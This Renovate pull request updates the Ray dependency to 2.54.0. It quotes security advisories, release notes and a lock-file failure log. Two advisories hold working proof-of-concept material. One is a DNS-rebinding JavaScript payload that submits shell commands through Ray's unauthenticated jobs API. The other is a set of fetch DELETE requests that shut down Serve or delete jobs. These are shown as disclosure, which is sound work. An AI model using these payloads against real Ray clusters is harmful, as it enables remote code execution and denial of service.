Update dependency ray to v2.54.0 [SECURITY]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ray	~=2.21.0 → ~=2.54.0
ray	~=2.48.0 → ~=2.54.0
ray	==2.43.0 → ==2.54.0
ray	==2.21.0 → ==2.54.0
ray	==2.48.0 → ==2.54.0

---

ray vulnerable to Insertion of Sensitive Information into Log File

CVE-2025-1979 / GHSA-w4rh-fgx7-q63m / PYSEC-2025-23

More information

Details

Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

1. Logging is enabled;

2. Redis is using password authentication;

3. Those logs are accessible to an attacker, who can reach that redis instance.

Note:

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.

Severity

• CVSS Score: 5.7 / 10 (Medium)
• Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-1979
• https://github.com/ray-project/ray/issues/50266
• https://github.com/ray-project/ray/pull/50409
• https://github.com/ray-project/ray/commit/64a2e4010522d60b90c389634f24df77b603d85d
• https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2025-23.yaml
• https://github.com/ray-project/ray
• https://security.snyk.io/vuln/SNYK-PYTHON-RAY-8745212

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2025-1979 / GHSA-w4rh-fgx7-q63m / PYSEC-2025-23

More information

Details

Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

1. Logging is enabled;

2. Redis is using password authentication;

3. Those logs are accessible to an attacker, who can reach that redis instance.

Note:

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.

Severity

Unknown

References

• https://github.com/ray-project/ray/commit/64a2e4010522d60b90c389634f24df77b603d85d
• https://github.com/ray-project/ray/issues/50266
• https://github.com/ray-project/ray/pull/50409
• https://security.snyk.io/vuln/SNYK-PYTHON-RAY-8745212

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

Ray has arbitrary code execution via jobs submission API

CVE-2023-48022 / GHSA-6wgj-66m2-xxp2

More information

Details

Anyscale Ray allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment.

Severity

• CVSS Score: 9.8 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-48022
• https://github.com/ray-project/ray/commit/978947083b1e192dba61ef653c863b11d56b0936
• https://atlas.mitre.org/studies/AML.CS0023
• https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0
• https://console.vulncheck.com/cve/CVE-2023-48022
• https://docs.ray.io/en/latest/ray-security/index.html
• https://docs.ray.io/en/latest/ray-security/token-auth.html
• https://github.com/advisories/GHSA-xg2h-7cxj-3gvh
• https://github.com/honysyang/Ray
• https://github.com/ray-project/ray
• https://www.anyscale.com/blog/update-on-ray-cve-2023-48022-new-verification-tooling-available
• https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild
• https://www.vicarius.io/vsociety/posts/shadowray-cve-2023-48022-exploit
• https://www.vicarius.io/vsociety/posts/the-story-of-shadowray-cve-2023-48022
• https://www.vulncheck.com/blog/initial-access-intelligence-august-2024

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Ray's New Token Authentication is Disabled By Default

CVE-2025-34351 / GHSA-gx77-xgc2-4888

More information

Details

Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.

Severity

• CVSS Score: 9.3 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-w8vc-465m-jjw6
• https://nvd.nist.gov/vuln/detail/CVE-2025-34351
• https://docs.ray.io/en/latest/ray-security/token-auth.html
• https://github.com/ray-project/ray
• https://github.com/ray-project/ray/releases/tag/ray-2.52.0
• https://www.cve.org/resourcessupport/allresources/cnarules#section_4-1_Vulnerability_Determination
• https://www.linkedin.com/posts/jonathan-leitschuh_the-latest-piece-of-mind-bending-research-activity-7396976425997606912-qizE
• https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet
• https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild
• https://www.vulncheck.com/advisories/anyscale-ray-token-authentication-disabled-by-default-insecure-configuration

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack

CVE-2025-62593 / GHSA-q279-jhrf-cc6v

More information

Details

Summary

Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.

Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.

This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.

Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).

Details

The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.

Current Mitigation Strategies

def is_browser_request(req: Request) -> bool:
    """Checks if a request is made by a browser like user agent.

    This heuristic is very weak, but hard for a browser to bypass- eg,
    fetch/xhr and friends cannot alter the user-agent, but requests made with
    an http library can stumble into this if they choose to user a browser like
    user agent.
    """
    return req.headers["User-Agent"].startswith("Mozilla")

def deny_browser_requests() -> Callable:
    """Reject any requests that appear to be made by a browser"""

    def decorator_factory(f: Callable) -> Callable:
        @​functools.wraps(f)
        async def decorator(self, req: Request):
            if is_browser_request(req):
                return Response(
                    text="Browser requests not allowed",
                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,
                )
            return await f(self, req)

        return decorator

    return decorator_factory

https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155

    @​aiohttp.web.middleware
    async def browsers_no_post_put_middleware(self, request, handler):
        if (
            # A best effort test for browser traffic. All common browsers
            # start with Mozilla at the time of writing.
            dashboard_optional_utils.is_browser_request(request)
            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
        ):
            return aiohttp.web.Response(
                status=405, text="Method Not Allowed for browser traffic."
            )

        return await handler(request)

https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196

This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.

Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.

PoC

Please note, this full PoC will be going live at time of disclosure.

1. Launch Ray ray start --head --port=6379
2. Ensure that the ray dashboard/service is running on port 8265
3. Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
5. Under "Attack Payload" select: Ray Jobs RCE (default port 8265)
6. Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.

If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.

What's going on?

This is the payload running in nccgroup/singularity:

/**
 * This payload exploits Ray (https://github.com/ray-project/ray)
 * It opens the "Calculator" application on various operating systems.
 * The payload can be easily modified to target different OSes or implementations.
 * The TCP port attacked is 8265.
 */

const RayRce = () => {

    // Invoked after DNS rebinding has been performed
    function attack(headers, cookie, body) {
        // Get the current timestamp in milliseconds
        const timestamp = Date.now();
        
        // OS-agnostic calculator command that tries multiple approaches
        const calculatorCommand = `
            # Try Windows calculator first
            if command -v calc.exe >/dev/null 2>&1; then
                echo Windows calculator launching
                calc.exe &
            # Try macOS calculator
            elif command -v open >/dev/null 2>&1; then
                echo macOS calculator launching
                open -a Calculator &
            elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
                echo macOS calculator launching
                /System/Applications/Calculator.app/Contents/MacOS/Calculator &
            # Try Linux calculators
            elif command -v gnome-calculator >/dev/null 2>&1; then
                echo Linux calculator launching
                gnome-calculator &
            elif command -v kcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                kcalc &
            elif command -v xcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                xcalc &
            # Fallback: try to find any calculator binary
            else
                echo Linux calculator launching
                find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
            fi
            echo RAY RCE: By JLLeitschuh ${timestamp}
        `;
        
        const data = {
            "entrypoint": calculatorCommand,
            "runtime_env": {},
            "job_id": null,
            "metadata": {
                "job_submission_id": timestamp.toString(),
                "source": "nccgroup/singluarity"
            }
        };
        
        sooFetch('/api/jobs/', {
            method: 'POST',
            headers: {
                'User-Agent': 'Other',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            console.log(response);
            return response.json()
        }) // parses JSON response into native JavaScript objects
        .then(data => {
            console.log('Success:', data);
        })
        .catch((error) => {
            console.error('Error:', error);
        });
    }
    
    // Invoked to determine whether the rebinded service
    // is the one targeted by this payload. Must return true or false.
    async function isService(headers, cookie, body) {
        return sooFetch("/",{
            mode: 'no-cors',
            credentials: 'omit',
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            if (d.includes("You need to enable JavaScript")) {
                return true;
            } else {
                return false;
            }
        })
        .catch(e => { return (false); })
    }

    return {
        attack,
        isService
    }
}

Registry["Ray Jobs RCE"] = RayRce();

See: https://github.com/nccgroup/singularity/pull/68

Impact

This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.

This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.

Fix

The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html

Fix commit: ray-project/ray@70e7c72

Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.

Credit

The fetch bypass was originally theorized by @​avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @​JLLeitschuh while at Socket.

Severity

• CVSS Score: 9.4 / 10 (Critical)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

• https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v
• https://nvd.nist.gov/vuln/detail/CVE-2025-62593
• https://github.com/nccgroup/singularity/pull/68
• https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09
• https://docs.ray.io/en/releases-2.51.1/ray-security/index.html
• https://en.wikipedia.org/wiki/Malvertising
• https://github.com/ray-project/ray
• https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196
• https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Ray dashboard DELETE endpoints allow unauthenticated browser-triggered DoS (Serve shutdown / job deletion)

CVE-2026-27482 / GHSA-q5fh-2hc8-f6rq

More information

Details

Summary

Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can
issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.

Details

• Middleware: python/ray/dashboard/http_server_head.py#get_browsers_no_post_put_middleware only checks POST/PUT via is_browser_request (UA/Origin/Sec-Fetch heuristics). DELETE is not gated.
• Endpoints lacking browser protection/auth by default:
  • python/ray/dashboard/modules/serve/serve_head.py: @​routes.delete("/api/serve/applications/") calls serve.shutdown().
  • python/ray/dashboard/modules/job/job_head.py: @​routes.delete("/api/jobs/{job_or_submission_id}").
  • python/ray/dashboard/modules/job/job_agent.py: @​routes.delete("/api/job_agent/jobs/{job_or_submission_id}") (not wrapped with deny_browser_requests either).
• Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.

PoC

Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.

1. Start Serve (or have jobs present).
2. From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:

fetch("http://<dashboard-host>:8265/api/serve/applications/", {
    method: "DELETE",
    headers: { "User-Agent": "Mozilla/5.0" }  // browsers set this automatically
  });

Result: Serve shuts down.
3) Similarly, delete jobs:

fetch("http://<dashboard-host>:8265/api/jobs/<job_or_submission_id>", { method: "DELETE" });
fetch("http://<dashboard-agent>:52365/api/job_agent/jobs/<job_or_submission_id>", { method: "DELETE" });

Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.

Impact

• Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default).
• No code execution from this vector, but breaks isolation/trust assumptions for “developer-only” endpoints.

Fix

The fix for this vulnerability is to update to Ray 2.54.0 or higher.

Fix PR: https://github.com/ray-project/ray/pull/60526

Severity

• CVSS Score: 5.9 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H

References

• https://github.com/ray-project/ray/security/advisories/GHSA-q5fh-2hc8-f6rq
• https://nvd.nist.gov/vuln/detail/CVE-2026-27482
• https://github.com/ray-project/ray/pull/60526
• https://github.com/ray-project/ray/commit/0fda8b824cdc9dc6edd763bb28dfd7d1cc9b02a4
• https://github.com/ray-project/ray
• https://github.com/ray-project/ray/releases/tag/ray-2.54.0

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

GitHub Vulnerability Alerts

CVE-2025-1979

Versions of the package ray before 2.43.0 are vulnerable to Insertion of Sensitive Information into Log File where the redis password is being logged in the standard logging. If the redis password is passed as an argument, it will be logged and could potentially leak the password.

This is only exploitable if:

1. Logging is enabled;

2. Redis is using password authentication;

3. Those logs are accessible to an attacker, who can reach that redis instance.

Note:

It is recommended that anyone who is running in this configuration should update to the latest version of Ray, then rotate their redis password.

---

Release Notes

ray-project/ray (ray)

v2.54.0

Compare Source

Ray Data

🎉 New Features

• Add checkpointing support to Ray Data (#​59409)
• Compute Expressions: list operations (#​59346), fixed-size arrays (#​58741), string padding (#​59552), logarithmic (#​59549), trigonometric (#​59712), arithmetic (#​59678), and rounding (#​59295)
• Add sql_params support to read_sql (#​60030)
• Add AsList aggregation (#​59920)
• Support CountDistinct aggregate (#​59030)
• Add credential provider abstraction for Databricks UC datasource (#​60457)
• Support callable classes for UDFExpr (#​56725)
• Add autoscaler metrics to Data Dashboard (#​60472)
• Add optional filesystem parameter to download expression (#​60677)
• Allow specifying partitioning style or flavor in write_parquet() (#​59102)
• New cluster autoscaler enabled by default (#​60474)

💫 Enhancements

• Improve numerical stability in scalers by handling near-zero values (#​60488)
• Export dataset operator output schema to event logger (#​60086)
• Iceberg: add retry policy for Storage + Catalog writes (#​60620)
• Iceberg: remove calls to Catalog Table in write tasks (#​60476)
• Expose logical operators and rules via package exports (#​60297, #​60296)
• Demote Sort from requiring preserve_order (#​60555)
• Improve appearance of repr(dataset) (#​59631)
• Allow configuring DefaultClusterAutoscalerV2 thresholds via env vars (#​60133)
• Use Arrow IPC for Arrow Schema serialization/deserialization (#​60195)
• Store _source_paths in object store to prevent excessive spilling during read task serialization (#​59999)
• Add more shuffle fusion rules (#​59985)
• Enable and tune DownstreamCapacityBackpressurePolicy (#​59753)
• Enable concurrency cap backpressure with tuning (#​59392)
• Set default actor pool scale up threshold to 1.75 (#​59512)
• Don't downscale actors if the operator hasn't received any inputs (#​59883)
• Don't reserve GPU budget for non-GPU tasks (#​59789)
• Only return selected data columns in hive-partitioned Parquet files (#​60236)
• Ordered + FIFO bundle queue (#​60228)
• Add node_id, pid, attempt number for hanging tasks (#​59793)
• Revise resource allocator task scheduling to factor in pending task outputs (#​60639)
• Track block serialization time (#​60574)
• Use metrics from OpRuntimeMetrics for progress (#​60304)
• Tabular form for streaming executor op metrics (#​59774)
• Info-log cluster scale-up decisions (#​60357)
• Use plain mode instead of grid mode for OpMetrics logging (#​59907)
• Progress reporting refactors (#​59350, #​59629, #​59880)
• Remove deprecated TENSOR_COLUMN_NAME constant (#​60573)
• Remove meta_provider parameter (#​60379)
• Decouple Ray Train from Ray Data by removing top-level ray.data imports (#​60292)
• Move extension types to ray.data (#​59420)
• Skip upscaling validation warning for fixed-size actor pools (#​60569)
• Make StatefulShuffleAggregation.finalize allow incremental streaming (#​59972)
• Revisit OutputSplitter semantics to avoid unnecessary buffer accumulation (#​60237)
• Update to PyArrow 23 (#​60739, #​59489)
• Add BackpressurePolicy to streaming executor progress bar (#​59637)
• Support Arrow-based transformations for preprocessors (#​59810)
• StandardScaler preprocessor with Arrow format (#​59906)
• OneHotEncoder with Arrow format (#​59890)

🔨 Fixes

• Fuse MapBatches even if they modify the row count (#​60756)
• Don't push limit past map_batches by default (#​60448)
• Fix wrong type hint of other dataset in zip and union (#​60653)
• Fix ActorPoolMapOperator to guarantee dispatch of all given inputs (#​60763)
• Fix ArrowInvalid error when backfilling missing fields from map tasks (#​60643)
• Fix attribute error in UnionOperator.clear_internal_output_queue (#​60538)
• Fix DefaultClusterAutoscalerV2 raising KeyError: 'CPU' (#​60208)
• Fix ReorderingBundleQueue handling of empty output sequences (#​60470)
• Fix task completion time without backpressure grafana panel metric name (#​60481)
• Fix Union operator blocking when preserve_order is set (#​59922)
• Fix autoscaler requesting empty resources instead of previous allocation when not scaling up (#​60321)
• Fix autoscaler not respecting user-configured resource limits (#​60283)
• Fix DefaultAutoscalerV2 not scaling nodes from zero (#​59896)
• Fix Iceberg warning message (#​60044)
• Fix Parquet datasource path column support (#​60046)
• Fix ProgressBar with use_ray_tqdm (#​59996)
• Fix stale stats on refit for preprocessors (#​60031)
• Fix StreamingRepartition hang with empty upstream results (#​59848)
• Fix operator fusion bug to preserve UDF modifying row count (#​59513)
• Fix AutoscalingCoordinator double-allocating resources for multiple datasets (#​59740)
• Fix DownstreamCapacityBackpressurePolicy issues (#​59990)
• Fix AutoscalingCoordinator crash when requesting 0 GPUs on CPU-only cluster (#​59514)
• Fix TensorArray to Arrow tensor conversion (#​59449)
• Fix resource allocator not respecting max resource requirement (#​59412)
• Fix GPU autoscaling when max_actors is set (#​59632)
• Fix checkpoint filter PyArrow zero-copy conversion error (#​59839)
• Restore class aliases to fix deserialization of existing datasets (#​59828, #​59818)
• Fix DataContext deserialization issue with StatsActor (#​59471)

📖 Documentation

• Sort references in "Loading data and Saving data" pages (#​60084)
• Fix inconsistent heading levels in "How to write tests" guide (#​60706)
• Clarify resource_limits refers to logical resources (#​60109)
• Update read_lance doc (#​59673)
• Fix broken link in read_unity_catalog docstring (#​59745)
• Fix bug in docs for enable_true_multi_threading (#​60515)
• Add more education around transformations (#​59415)

Ray Serve

🎉 New Features

• Queue-based autoscaling for TaskConsumer deployments (phase 1). Introduces a QueueMonitor actor that queries message brokers (Redis, RabbitMQ) for queue length, enabling TaskConsumer scaling based on pending tasks rather than HTTP load. (#​59430)
• Default autoscaling parameters for custom policies. New apply_autoscaling_config decorator allows custom autoscaling policies to automatically benefit from Ray Serve's standard parameters (delays, scaling factors, bounds) without reimplementation. (#​58857)
• label_selector and bundle_label_selector in Serve deployments. Deployments can now specify node label selectors for scheduling and bundle-level label selectors for placement groups, useful for targeting specific hardware (e.g., TPU topologies). (#​57694)
• Deployment-level autoscaling observability. The controller now emits a structured JSON serve_autoscaling_snapshot log per autoscaling-enabled deployment each control-loop tick, with an event summarizer that reduces duplicate logs. (#​56225)
• Batching with multiplexing support. Batching now guarantees each batch contains requests for the same multiplexed model, enabling correct multiplexed model serving with @serve.batch. (#​59334)

💫 Enhancements

• Replica routing data structure optimizations. O(1) pending-request lookups, cached replica lists, lazy cleanup, optimized retry insertion, and metrics throttling yield significant routing performance improvements. (#​60139)
• New operational metrics suite. Added long-poll metrics, replica lifecycle metrics, app/deployment status metrics, proxy health and request routing delay metrics, event loop utilization metrics, and controller health metrics — greatly improving monitoring and debugging capabilities. (#​59246, #​59235, #​59244, #​59238, #​59535, #​60473)
• Autoscaling config validation. lookback_period_s must now be greater than metrics_interval_s, preventing silent misconfigurations. (#​59456)
• Cross-version root_path support for uvicorn. root_path now works correctly across all uvicorn versions, including >=0.26.0 which changed how root_path is processed. (#​57555)
• Preserve user-set gRPC status codes. When deployments raise exceptions after setting a gRPC status code on the context, that code is now correctly propagated to the client instead of being overwritten with INTERNAL. Error messages are truncated to 4 KB to respect HTTP/2 trailer limits. (#​60482)
• Replica ThreadPoolExecutor capped to num_cpus. The user-code event loop's default ThreadPoolExecutor is now limited to the deployment's num_cpus, preventing oversubscription when using asyncio.to_thread. (#​60271)
• Generic actor registration API for shutdown cleanup. Deployments can register auxiliary actors (e.g., PrefixTreeActor) with the controller for automatic cleanup on serve.shutdown(), eliminating cross-library import dependencies. (#​60067)
• Deployment config logging in controller. Deployment configurations are now logged in the controller for easier debugging and auditability. (#​59222, #​59501)
• Pydantic v1 deprecation warning. A FutureWarning is now emitted at ray.init() when Pydantic v1 is detected, as support will be removed in Ray 2.56. (#​59703)

🔨 Fixes

• Fixed tracing signature mismatch across processes. Resolved TypeError: got an unexpected keyword argument _ray_trace_ctx when calling actors from a different process than the one that created them (e.g., serve start + dashboard interaction). (#​59634)
• Fixed ingress deployment name collision. Ingress deployment name was incorrectly modified when a child deployment shared the same name, causing routing failures. (#​59577)
• Fixed downstream deployment over-provisioning. Downstream deployments no longer over-provision replicas when receiving DeploymentResponse objects. (#​60747)
• Fixed replicas hanging forever during draining. Replicas no longer hang indefinitely when requests are stuck during the draining phase. (#​60788)
• Fixed TaskProcessorAdapter shutdown during rolling updates. Removed shutdown() from __del__, which was broadcasting a kill signal to all Celery workers instead of just the local one, breaking rolling updates. (#​59713)
• Fixed Windows test failures. Resolved tracing file handle cleanup on Windows, skipped incompatible gRPC and tracing tests on Windows. (#​60078, #​60356, #​60393, #​59771)
• Fixed flaky tests. Addressed gauge throttling race in test_router_queue_len_metric, ensured proxy replica queue cache is populated before GCS failure tests, and added metrics server readiness checks. (#​60333, #​60466, #​60468)
• Fixed distilbert test segfault. Worked around a pyarrow/jemalloc crash triggered by specific import ordering of FastAPI, torch, and TensorFlow. (#​60478)

📖 Documentation

• Improved autoscaling documentation. Clarified the relationship between delays, metric push intervals, and the autoscaling control loop. (#​59475)
• New example: video analysis inference. End-to-end notebook demonstrating a Serve application for scene change detection, - tagging, and video description. (#​59859)
• New examples: model multiplexing and model composition. Published workload-based examples for forecasting with model multiplexing and recommendation systems with model composition. (#​59166)
• Model registry integration guide. Added documentation for integrating Serve with model registries (e.g., MLflow). (#​59080)
• Fixed broken documentation links. Resolved 404 errors for async inference, MLflow registry example, and LLM code examples. (#​59917, #​60071, #​59520, #​59521, #​60181)
• Fixed monitoring docs. Corrected target replicas metric emission to enable time-series comparison with actual replicas. (#​59571)
• Async inference template. Added an end-to-end template for building asynchronous inference applications with Ray Serve. (#​58393, #​59926)

🏗 Architecture refactoring

• Environment variable cleanup (5-part series). Removed deprecated and redundant env vars (RAY_SERVE_DEFAULT_HTTP_HOST, RAY_SERVE_DEFAULT_HTTP_PORT, RAY_SERVE_DEFAULT_GRPC_PORT, RAY_SERVE_HTTP_KEEP_ALIVE_TIMEOUT_S, RAY_SERVE_REQUEST_PROCESSING_TIMEOUT_S, RAY_SERVE_ENABLE_JSON_LOGGING, RAY_SERVE_ALWAYS_RUN_PROXY_ON_HEAD_NODE), cleaned up legacy constant fallbacks, and added documentation for previously undocumented env vars (e.g., RAY_SERVE_CONTROLLER_MAX_CONCURRENCY, RAY_SERVE_ROOT_URL, proxy health check settings, and fault tolerance params). Users relying on removed env vars should migrate to the Serve config API (http_options, grpc_options, LoggingConfig). (#​59470, #​59619, #​59647, #​59963, #​60093)

Ray Train

🎉 New Features

• Add TPU multi-slice support to JaxTrainer (#​58629)
• Update async validation API (#​59428)
• Add a CallbackManager and guardrail some callback hooks (#​60117)
• Add inter-execution file shuffling for deterministic multi-epoch training (#​59528)
• Resume validations on driver restoration (#​59270)

💫 Enhancements

• Pass ray remote args to validation task (#​60203)
• Deprecate Predictor API (#​60305)
• Increase worker group start default timeout to 60s (#​60376)
• Unify PlacementGroup and SlicePlacementGroup interface in WorkerGroup (#​60116)
• Cleanup zombie RayTrainWorker actors (#​59872)
• Add usage telemetry for checkpointing and validation (#​59490)
• Validate that validation is called with a checkpoint (#​60548)
• Replace pg.ready() with pg.wait() in worker group (#​60568)
• Rename DatasetsSetupCallback to DatasetsCallback (#​59423)
• Update "Checkpoint Report Time" metric title to "Cumulative Checkpoint Report Time" (#​58470)
• Add training failed error back to failure policy log (#​59957)
• Decouple Ray Train from Ray Data by removing top-level imports (#​60292)

🔨 Fixes

• Add try-except for pg.wait() (#​60743)
• TrainController reraises AsyncioActorExit (#​59461)

📖 Documentation

• Add a JaxTrainer template (#​59842)
• Update Jax doc to include GPU and multi-slice TPU support (#​60593)
• Document checkpoint_upload_fn backend and cuda:nccl backend support (#​60541)
• Rename checkpoint_upload_func to checkpoint_upload_fn in docs (#​60390)
• Fix Ray Train workloads and PyTorch with ASHA templates (#​60537)
• Publish Ray Train workload example (#​58936)

Ray Tune

🔨 Fixes

• Avoid file deletion race by using unique tmp file names (#​60556)

Ray LLM

🎉 New Features

• Add /tokenize and /detokenize endpoints (#​59787)
• Add /collective_rpc endpoint for RLHF weight synchronization (#​59529)
• Add Control Plane API for Sleep/Wakeup (#​59455)
• Add Pause/Resume Control Plane API (#​59523)
• Add support for classification and scoring models (#​59499)
• Add pooling parameter (#​59534)
• Support vLLM structured outputs with backward-compat for guided_decoding (#​59421)
• Add CPU support to Ray Serve LLM (#​58334)
• Add should_continue_on_error support for ServeDeploymentStage (#​59395)
• Support configuring HttpRequestUDF resources (#​60313)

💫 Enhancements

• Upgrade vLLM to 0.15.0 (#​60679)
• Unify schema of success and failure rows (#​60572)
• Prefer uniproc executor over mp executor when world_size==1 (#​60403)
• Use compute instead of concurrency to specify ActorPool size (#​59645)
• Remove DataContext overrides in Ray Data LLM Processor (#​60142)
• Use numpy arrays for embeddings to avoid `

---

Configuration

📅 Schedule: Branch creation - "" in timezone America/Toronto, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: model-servers/vllm/0.11.0/Pipfile.lock

Command failed: pipenv lock
Locking  dependencies...
CRITICAL:pipenv.patched.pip._internal.resolution.resolvelib.factory:Cannot 
install -r /tmp/pipenv-5n9b1_nu-requirements/pipenv-vd8_rkj0-constraints.txt 
(line 18) and triton==3.2.0 because these package versions have conflicting 
dependencies.
Your dependencies could not be resolved. You likely have a mismatch in your 
sub-dependencies.
You can use $ pipenv run pip install <requirement_name> to bypass this 
mechanism, then run $ pipenv graph to inspect the versions actually installed in
the virtualenv.
Hint: try $ pipenv lock --pre if it is a pre-release dependency.
ERROR: ResolutionImpossible: for help visit 
https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-depende
ncy-conflicts

Traceback (most recent call last):
  File 
"/opt/containerbase/tools/pipenv/2026.1.0/3.11.15/lib/python3.11/site-packages/p
ipenv/routines/lock.py", line 65, in do_lock
    venv_resolve_deps(
